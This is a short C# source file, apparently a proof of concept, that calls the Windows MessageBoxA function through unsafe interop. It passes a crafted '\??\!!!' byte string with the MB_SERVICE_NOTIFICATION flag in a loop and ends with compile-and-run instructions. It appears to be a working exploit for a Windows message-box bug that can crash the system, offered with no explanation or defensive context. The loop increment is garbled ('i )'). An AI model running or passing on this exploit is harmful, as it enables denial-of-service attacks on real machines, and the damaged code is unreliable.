// mbox.cs

using System;

using System.Runtime.InteropServices;

class HelloWorldFromMicrosoft

{

[DllImport("user32.dll")]

unsafe public static extern int MessageBoxA(uint hwnd, byte* lpText, byte* lpCaption, uint uType); static unsafe void Main()

{

byte[] helloBug = new byte[] {0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};

uint MB_SERVICE_NOTIFICATION = 0x00200000u;

fixed(byte* pHelloBug = &helloBug[0])

{

for(int i=0; i<10; i )

MessageBoxA(0u, pHelloBug, pHelloBug, MB_SERVICE_NOTIFICATION);

}

}

}

// >> csc /unsafe mbox.cs

// >> mbox.exe//http://www.leftworld.net